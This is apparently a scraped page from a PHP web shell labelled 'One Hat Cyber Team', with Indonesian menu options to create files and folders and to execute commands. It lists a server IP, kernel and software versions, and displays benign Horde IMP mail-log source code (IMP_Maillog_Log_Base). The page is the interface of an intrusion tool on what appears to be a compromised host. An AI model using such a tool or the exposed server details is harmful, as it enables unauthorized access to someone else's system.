⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.50
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
imp
/
lib
/
Maillog
/
Log
/
View File Name :
Base.php
* @category Horde * @copyright 2014-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package IMP * * @property-read string $action Action. * @property-read string $date Formatted date string. * @property-read string $message Log message. * @property integer $timestamp Timestamp. */ abstract class IMP_Maillog_Log_Base { /** * Action. * * @var string */ protected $_action; /** * Timestamp. * * @var integer */ protected $_timestamp; /** */ public function __get($name) { global $prefs; switch ($name) { case 'action': return $this->_action; case 'date': return strftime( $prefs->getValue('date_format') . ' ' . $prefs->getValue('time_format'), $this->timestamp ); case 'message': return $this->_getMessage(); case 'timestamp': if (!$this->_timestamp) { $this->_timestamp = time(); } return $this->_timestamp; } } /** */ public function __set($name, $value) { switch ($name) { case 'timestamp': $this->_timestamp = intval($value); break; } } /** */ public function __tostring() { return $this->message; } /** * The log message. * * @return string Log message. */ abstract protected function _getMessage(); }